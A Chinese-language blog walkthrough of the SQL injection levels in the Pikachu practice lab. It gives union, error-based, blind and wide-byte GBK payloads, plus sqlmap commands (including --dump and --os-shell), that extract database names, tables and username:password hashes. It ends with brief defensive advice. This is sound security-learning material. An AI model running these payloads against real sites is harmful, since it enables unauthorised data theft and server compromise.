SQL隱碼攻擊(pikachu)

machacha發表於2024-05-10

注入流程

SQL隱碼攻擊注入點判斷與注入手法介紹 - FreeBuf網路安全行業門戶

【乾貨】如何判斷 Sql 注入點_判斷是否存在sql注入-CSDN部落格

1、是否有注入點--->第一要素-----在引數後面加上單引號,如果頁面返回錯誤,則存在 Sql 注入。原因是無論是字元型還是整型都會因為單引號個數不匹配而報錯。(如果未報錯,不代表不存在 Sql 注入,因為有可能頁面對單引號做了過濾,這時可以使用判斷語句進行注入)

1)可控引數的改變能否影響頁面顯示結果。

2)輸入的SQL語句是否能報錯-能透過資料庫的報錯,看到資料庫的一些語句痕跡(select username, password from user where id = 4 and 0#3)輸入的SQL語句能否不報錯-我們的語句能夠成功閉合

2、什麼型別的注入

3、語句是否能夠被惡意修改--->第二個要素

4、是否能夠成功執行--->第三個要素

5、獲取我們想要的資料。

資料庫->表->欄位->值

根據注入位置資料型別將sql注入分類
利用order判斷欄位數
order by x(數字) 正常與錯誤的正常值 正確網頁正常顯示,錯誤網頁報錯

?id=1' order by 3--+

利用 union select 聯合查詢,將id值設定成不成立,即可探測到可利用的欄位數payload是插入到原來的語句當中,構成了兩個sql的語句,當第一個sql語句正確返回時,便不會顯示第二個sql語句的結果。

?id=-1 union select 1,2,3 --+

利用函式database(),user(),version()可以得到所探測資料庫的資料庫名、使用者名稱和版本號

?id=-1' union select 1,database(),version() --+

利用 union select 聯合查詢,獲取表名

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='已知庫名'--+

利用 union select 聯合查詢,獲取欄位名

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='已知庫名' table_name='已知表名'--+

利用 union select 聯合查詢,獲取欄位值

?id=-1' union select 1,2,group_concat(已知欄位名,':'已知欄位名) from 已知表名--+

數字型注入(post)

選擇不同的userid會顯示出不同使用者的資訊

抓個包看看呢

image-20240504091457033

透過修改id值判斷是否存在注入點

id=1'      ---報錯,存在注入點

id=1 and 1=1  ----頁面依舊執行正常,繼續進行下一步

id=1 and 1=2  ---頁面執行錯誤,則說明此 Sql 注入為數字型注入

image-20240504110015602

原因如下:

查詢語句將 and 語句全部轉換為了字串,並沒有進行 and 的邏輯判斷,所以不會出現以上結果,故假設是不成立的。

當輸入 and 1=1時,後臺執行 Sql 語句:select * from <表名> where id = x and 1=1 沒有語法錯誤且邏輯判斷為正確,所以返回正常。
當輸入 and 1=2時,後臺執行 Sql 語句:select * from <表名> where id = x and 1=2 沒有語法錯誤但是邏輯判斷為假,所以返回錯誤。
我們再使用假設法:如果這是字元型注入的話,我們輸入以上語句之後應該出現如下情況:

select * from <表名> where id = 'x and 1=1'
select * from <表名> where id = 'x and 1=2'

查詢語句將 and 語句全部轉換為了字串,並沒有進行 and 的邏輯判斷,所以不會出現以上結果,故假設是不成立的。

order by 判斷欄位數

?id=1 order by 3時報錯,則有兩個欄位數

image-20240504093226190

?id=-1 union select 1,2 聯合查詢

image-20240504093421328

1和2都可以作為回顯點

?id=-1 union select 1,database()獲得表名

image-20240504093715379

庫名=pikachu,獲取庫名:

?id=-1 union select 1,group_concat(table_name)from information_schema.tables where table_schema ='pikachu'

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='已知庫名'--+

image-20240504094350757

獲取欄位名

id=-1 union select 1,group_concat(column_name)from information_schema.columns where table_schema='pikachu' and table_name='users'

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='已知庫名' table_name='已知表名'--+

image-20240504095346520

欄位名 =password ,獲取欄位值

id=-1 union select username,password from users
or
id=-1 union select 1,group_concat(username,':',password) from pikachu.users

image-20240504095847688

MD5線上平臺解密即可

image-20240504100239387

字元型注入(get)

image-20240504101702932

輸入的東西會在url顯示,是get型

?name=1' 

報錯則存在注入點

image-20240504102501562

url 地址中輸入?name= x' and '1'='1 頁面執行正常,繼續進行下一步。
url 地址中繼續輸入?name= x' and '1'='2 頁面執行錯誤,則說明此 Sql 注入為字元型注入。

原因如下:

當輸入 and ‘1’='1時,後臺執行 Sql 語句:select * from <表名> where id = 'x' and '1'='1'語法正確,邏輯判斷正確,所以返回正確。
當輸入 and ‘1’='2時,後臺執行 Sql 語句:select * from <表名> where id = 'x' and '1'='2'語法正確,但邏輯判斷錯誤,所以返回正確。

#應該直接編碼或者 --+

url中#號是用來指導瀏覽器動作的(例如錨點),對伺服器端完全無用。所以,HTTP請求中不包括#

1' union select 1,2%23	//爆回顯位置,如果沒有回顯位置則使用報錯注入
1' union select 1,database()%23	//爆庫名
1' union select 1,group_concat(table_name)from information_schema.tables where table_schema='pikachu'%23	//爆表名
1' union select 1,group_concat(column_name)from information_schema.columns where table_schema='pikachu' and table_name='users'%23	//爆欄位名
1' union select username,password from users %23 //爆欄位值

搜尋型注入

一般後臺搜尋組合的sql的語句如下

$sql = "select * from user where password like '%$pwd%' order by password";

輸入1'看看有沒有報錯

image-20240504142856533

我們可以用1%’閉合前面的‘%,用#註釋掉後面的 ‘ %或者用’%‘=’註釋

  1. 1' ,如果出錯的話,有90%的可能性存在注入;
    1%' and 1=1 and #`(這個語句的功能就相當於普通SQL隱碼攻擊的 `and 1=1` )看返回情況;
    1%' and 1=2 and #`(這個語句的功能就相當於普通SQL隱碼攻擊的 `and 1=2` )看返回情況;
    4. 根據2和3的返回情況來判斷是不是搜尋型文字框注入了。
    
1%' union select 1,2,3 %23 // 爆回顯位置
1%' union select 1,2,database() %23 // 爆庫名
1%' union select 1,2,group_concat(table_name)from information_schema.tables where table_schema='pikachu' %23//爆表名
1%' union select 1,2,group_concat(column_name)from information_schema.columns where table_schema='pikachu' and table_name='users'%23 //爆欄位名
1%' union select 1,username,password from users %23//爆欄位值

xx型注入

按照報錯資訊來構造閉合

我們可以使用(跳脫字元)來判斷SQL隱碼攻擊的閉合方式。
原理,當閉合字元遇到跳脫字元時,會被轉義,那麼沒有閉合符的語句就不完整了,就會報錯,透過報錯資訊我們就可以推斷出閉合符。

分析報錯資訊:看'單引號後面跟著的字元,是什麼字元,它的閉合字元就是什麼,若是沒有,就為數字型。

老樣子,先輸入1'

image-20240504144504427

我們可以看到 ''1'')'

去除前後兩個單引號,所以閉合字元為 ')

1') union select 1,2 # // 爆回顯位置
1') union select 1,database() # // 爆庫名
1') union select 1,group_concat(table_name)from information_schema.tables where table_schema='pikachu' #//爆表名
1') union select 1,group_concat(column_name)from information_schema.columns where table_schema='pikachu' and table_name='users'# //爆欄位名
1') union select username,password from users #//爆欄位值

"insert/update"注入

新題型

發現有個註冊頁面,註冊頁面如果有注入漏洞的話,一般是insert型別的,因為註冊相當於往資料庫的表中插入一行新資料

填寫註冊資訊,然後抓個包,可以看到時post形式傳輸的資料

嘗試在1後加單引號,報錯了而且報錯資訊中沒有出現1,可能是單引號完成閉合了,最後還需要加個)完成閉合

image-20240504153021578

構建閉合:username=1','2','3','4','5','6')#

構建成功了,但是沒有回顯,沒有回顯用報錯注入

報錯注入

what is 報錯注入?

報錯注入是一種SQL隱碼攻擊型別,用於使SQL語句報錯的語法,用於注入結果無回顯但錯誤資訊有輸出的情況。返回的錯誤資訊即是攻擊者需要的資訊。所以當我們沒有回顯位時可以考慮報錯注入這種方法來進行滲透測試,前提是不能過濾一些關鍵的函式

利用xpath語法錯誤來進行報錯注入主要利用extractvalueupdatexml兩個函式。
使用條件:mysql版本>5.1.5

extractvalue函式

函式原型:extractvalue(xml_document,Xpath_string)
正常語法:extractvalue(xml_document,Xpath_string);
第一個引數:xml_document是string格式,為xml文件物件的名稱
第二個引數:Xpath_string是xpath格式的字串
作用:從目標xml中返回包含所查詢值的字串

第二個引數是要求符合xpath語法的字串,如果不滿足要求,則會報錯,並且將查詢結果放在報錯資訊裡,因此可以利用。

pyload:`id='and(select extractvalue("anything",concat('~',(select語句))))

針對MYSQL資料庫

查資料庫名:id=1' and extractvalue(1,concat(0x7e,(select database())))
爆表名:id=1'and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))
爆欄位名:id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="TABLE_NAME")))
爆資料:id=1' and extractvalue(1,concat(0x7e,(select group_concat(COIUMN_NAME) from TABLE_NAME)))

注:

 ① 0x7e=’~’
 ② concat(‘a’,‘b’)=“ab”
 ③ version()=@@version
 ④ ‘~‘可以換成’#’、’$'等不滿足xpath格式的字元
 ⑤ extractvalue()能查詢字串的最大長度為32,如果我們想要的結果超過32,就要用substring()函式擷取或limit分頁,一次檢視最多32位

updatexml函式

函式原型:updatexml(xml_document,xpath_string,new_value)
正常語法:updatexml(xml_document,xpath_string,new_value)
第一個引數:xml_document是string格式,為xml文件物件的名稱 
第二個引數:xpath_string是xpath格式的字串
第三個引數:new_value是string格式,替換查詢到的負荷條件的資料 
作用:改變文件中符合條件的節點的值

第二個引數跟extractvalue函式的第二個引數一樣,因此也可以利用,且利用方式相同
payload:id='and(select updatexml("anything",concat('~',(select語句())),"anything"))

針對MYSQL資料庫

爆資料庫名:'and(select updatexml(1,concat(0x7e,(select database())),0x7e))
爆表名:'and(select updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),0x7e))
爆列名:'and(select updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name="TABLE_NAME")),0x7e))
爆資料:'and(select updatexml(1,concat(0x7e,(select group_concat(COLUMN_NAME)from TABLE_NAME)),0x7e))

當報錯內容長度不能超過32個字元,常用的解決方式有兩種:

  1. limit 分頁
  2. substr()擷取字元

insert注入

payload裡面是or或者and都可以,注意最後可以不用註釋符,把第一個引數的單引號閉合就可以了

當然不怕麻煩的話也可以構造下面的payload:

username=xixi' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '','22','33','44','55','66')#&password=666666&sex=&phonenum=&email=&add=&submit=submit

1' and extractvalue(1,concat(0x7e,(select database()))) or '   
//獲取庫名

image-20240504182922081

1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='pikachu'))) or '  
//獲取表名

image-20240504183121268

1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='pikachu' and table_name='users'))) or '
//獲取列名

image-20240504185240745

1' and extractvalue(1,concat(0x7e,(select group_concat(username,':',password) from users)))or '  
//獲取資料

image-20240504185454658

md5加密是32位,而這個函式只能顯示32位,所以明顯不夠,所以這裡需要我們使用substr函式

1' and extractvalue(1,concat(0x7e,substr((select group_concat(username,':',password) from users),32,63))) or '  
//獲取剩餘資料

image-20240504190036142

拼接解碼即可

update注入

update注入應該是在修改個人資訊的頁面

“delete”注入

留言板,根據提示抓包看看刪除操作

image-20240504192135484

貌似是個注入點

image-20240504192221635

無法回顯,採用報錯注入

庫:id=58 and updatexml(1,concat(0x7e,(select database()),0x7e),1)

表:id=58 and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='pikachu'),0x7e),1)

列:id=58 and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='pikachu'and table_name='users'),0x7e),1)

資料:id=58 and updatexml(1,concat(0x7e,(select group_concat(username,password)from users limit 0,1),0x7e),1)

image-20240503160628759

"http header"注入

登入,不會真有人被這個介面嚇到吧@MUneyoshi 哈哈哈哈哈哈

image-20240504193611189

image-20240504194500491

在Uer-Agent判斷有無注入點,加一個單引號,報錯說明有注入點,同理,在Accept欄位也發現注入點,任選其一即可。

使用報錯注入(學不下去了,直接複製我好大兒的)

1' and extractvalue(1,concat(0x7e,(select database()),0x7e))or ' //爆資料庫 
1' and extractvalue(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='pikachu'),0x7e))or ' //爆表
1' and extractvalue(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='pikachu' and table_name='users'),0x7e))or ' //爆列 1' and extractvalue(1,concat(0x7e,(select group_concat(username,':',password)from pikachu.users),0x7e))or '//爆資料

基於boolian的盲注

布林盲注,與普通注入的區別在於“盲注”。在注入語句後,盲注不是返回查詢到的結果,而只是返回查詢是否成功,即:返回查詢語句的布林值。因此,盲注要盲猜試錯。由於只有返回的布林值,往往查詢非常複雜,一般使用指令碼來窮舉試錯。

1 手工:PiKachu之Sql (SQL隱碼攻擊)通關 2022_pikachu sql-CSDN部落格

2 python指令碼:python實現sql布林盲注-CSDN部落格

3 sqlmap:SQLMAP注入教程-11種常見SQLMAP使用方法詳解 - 點點花飛謝 - 部落格園 (cnblogs.com)

sqlmap用於mysql注入

(1) 獲得所有資料庫/查詢當前庫名

sqlmap -u "http://www.xxx.com/link.php?id=321" --dbs
sqlmap -u "http://www.xxx.com/link.php?id=321" --current-db

(2) 透過第一步的資料庫查詢表(假如資料庫名為dataname)

sqlmap -u "http://www.xxx.com/link.php?id=321" -D dataname --tables

(3) 透過2中的表得出列名(假如表為table_name)

sqlmap -u "http://www.xxx.com/link.php?id=321" -D dataname -T table_name --columns

(4) 獲取欄位的值(假如掃描出id,user,password欄位)

sqlmap -u "http://www.xxx.com/link.php?id=321" -D dataname -T table_name -C
"id,user,password" --dump

常用指令:詳解:【SQL隱碼攻擊】Sqlmap使用指南(手把手保姆版)持續更新_web union sql 注入 測試工具-CSDN部落格

基本用法:

​        -u:指定目標URL。

​        --threads=<num>:指定併發執行緒數。

​        --level=<level>:設定測試等級,範圍從1到5,預設為1。

​        --risk=<risk>:設定測試風險級別,範圍從1到3,預設為1。

  注入檢測:

​        --dbs:獲取資料庫名稱。

​        --tables:獲取當前資料庫中的表。

​        --columns -T <table>:獲取指定表的列。

​        --dump -T <table> -C <column1,column2,...>:獲取指定表中指定列的資料。

 注入攻擊:

​        --os-shell:獲取作業系統的命令執行許可權。

​        --sql-shell:獲取資料庫的命令執行許可權。

​        --os-cmd=<command>:執行作業系統命令。

​        --sql-query=<query>:執行自定義的SQL查詢語句。     

其他選項:

​        --batch:以非互動模式執行,忽略所有互動請求。----預設在Y/N中選Y

​        --flush-session:在每個HTTP請求之前重新整理會話。  

​        --tamper=<tamper_script>:指定自定義的tamper指令碼,用於修改請求資料。

查詢當前庫 (ip 要改成主機內網ip 因為我們用的是Kali裡的sqlmap)

sqlmap -u "http://10.62.106.171/pikachu/vul/sqli/sqli_blind_b.php?name=1*&submit=%E6%9F%A5%E8%AF%A2" --current-db --batch

image-20240505001517556

爆表名

sqlmap -u "http://10.62.106.171/pikachu/vul/sqli/sqli_blind_b.php?name=1*&submit=%E6%9F%A5%E8%AF%A2" -D pikachu --tables --batch

image-20240505002513587

爆列名

sqlmap -u "http://10.62.106.171/pikachu/vul/sqli/sqli_blind_b.php?name=1*&submit=%E6%9F%A5%E8%AF%A2" -D pikachu -T users --columns --level 5 --batch

image-20240503183652113

爆資料

sqlmap -u "http://10.62.106.171/pikachu/vul/sqli/sqli_blind_b.php?name=1*&submit=%E6%9F%A5%E8%AF%A2" -D pikachu -T  -C username,password --dump --level 5 --batch

基於時間的盲注

輸入框輸入任何訊息返回內容都是一樣的

那麼可以考慮插入sleep函式來觀察響應時長來判斷是否有注入點

1' and sleep(3) #

發現頁面緩衝了3秒才有反應,說明確實是注入點

可用sqlmap爆破,pyload和布林盲注一樣

寬位元組注入

addslasehes()轉義函式

addslashes() 是 PHP 中用於跳脫字元串中的特殊字元的函式之一。它會在指定的預定義字元(單引號、雙引號、反斜線和 NUL 字元)前面新增反斜槓,以防止這些字元被誤解為程式碼注入或其他意外操作。

用法:
string addslashes ( string $str )

示例:
$input = "It's a beautiful day!";
$escaped_input = addslashes($input);
echo $escaped_input;
在上述示例中,如果 $input 包含單引號 ',呼叫 addslashes() 後將會得到 "It\'s a beautiful day!"。這樣做可以避免潛在的 SQL 注入等安全問題。

寬位元組注入原理

在網站開發中,防範SQL隱碼攻擊是至關重要的安全措施之一。常見的防禦手段之一是使用PHP函式 addslashes() 來轉義特殊字元,如單引號、雙引號、反斜線和NULL字元。(通常情況下,SQL隱碼攻擊點是透過單引號來識別的。但當資料經過 addslashes() 處理時,單引號會被轉義成無功能性字元,在判斷注入點時失效。)然而,寬位元組注入攻擊利用了這種轉義機制的漏洞,透過特殊構造的寬位元組字元繞過 addslashes() 函式的轉義,從而實現對系統的攻擊。(攻擊者利用寬位元組字符集(如GBK)將兩個位元組識別為一個漢字,繞過反斜線轉義機制,並使單引號逃逸,實現對資料庫查詢語句的篡改。)

示例:
	輸入payload: ' or 1=1 #
	經過 addslashes() 後:\' or 1=1 #	
分析:'的url編碼是%27,經過addslashes()以後,'就變成了\',對應的url編碼就是%5c%27
構造繞過payload:
	構造繞過payload: %df' or 1=1 #
	經過 addslashes() 後: %df\' or 1=1 #
分析:我們在payload中的'之前加了一個字元%df,經過addslashes()以後,%df'就變成了%df\',對應的URL編碼為:%df%5c%27。 當MySQL使用GBK編碼時,會將%df%5c 解析成一個字,從而使得單引號%27成功逃逸。

防範措施

  • 避免直接使用addslashes():考慮替代方案如使用預處理語句或更安全的轉義函式。
  • 嚴格驗證使用者輸入:確保只接受符合預期格式和內容的資料。
  • 統一字元編碼方式:避免混合使用不同字元編碼方式來處理字串。
  • 定期審查程式碼:持續審查程式碼以發現潛在漏洞,並及時修復。

回到靶場

在輸入框輸入1’發現沒回顯,輸入%df'也沒反應,有UU說是對語句進行了urlencode

那我們bp抓包注入

%df'

image-20240505180330747

%df' or 1=1 #  (因為使用者名稱不能正確,那麼連線詞肯定不能用and了,得用or)

image-20240505180821406

判斷欄位數

%df' order by n#  
n=3時報錯說明欄位數為2

image-20240505181017352

判斷回顯點

%df' union select 1,2#

image-20240505181156406

爆庫

%df' union select 1,database()# 

image-20240505181247779

爆表

%df’ union select 1,group_concat(table_name)from information_schema.tables where table_schema='pikachu'#   //不能選擇此種payload,因為單引號被轉義了

正確payload(巢狀)

%df' union select 1,group_concat(table_name)from information_schema.tables where table_schema=database()# 

爆列

%df' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=(select database()) and table_name=(select table_name from information_schema.tables where table_schema=(select database())limit 3,1))#

爆欄位

%df'union select 1,(select group_concat(username,0x3a,password) from users)#
//0x3a是冒號的ASCII碼

image-20240505182152124

相關文章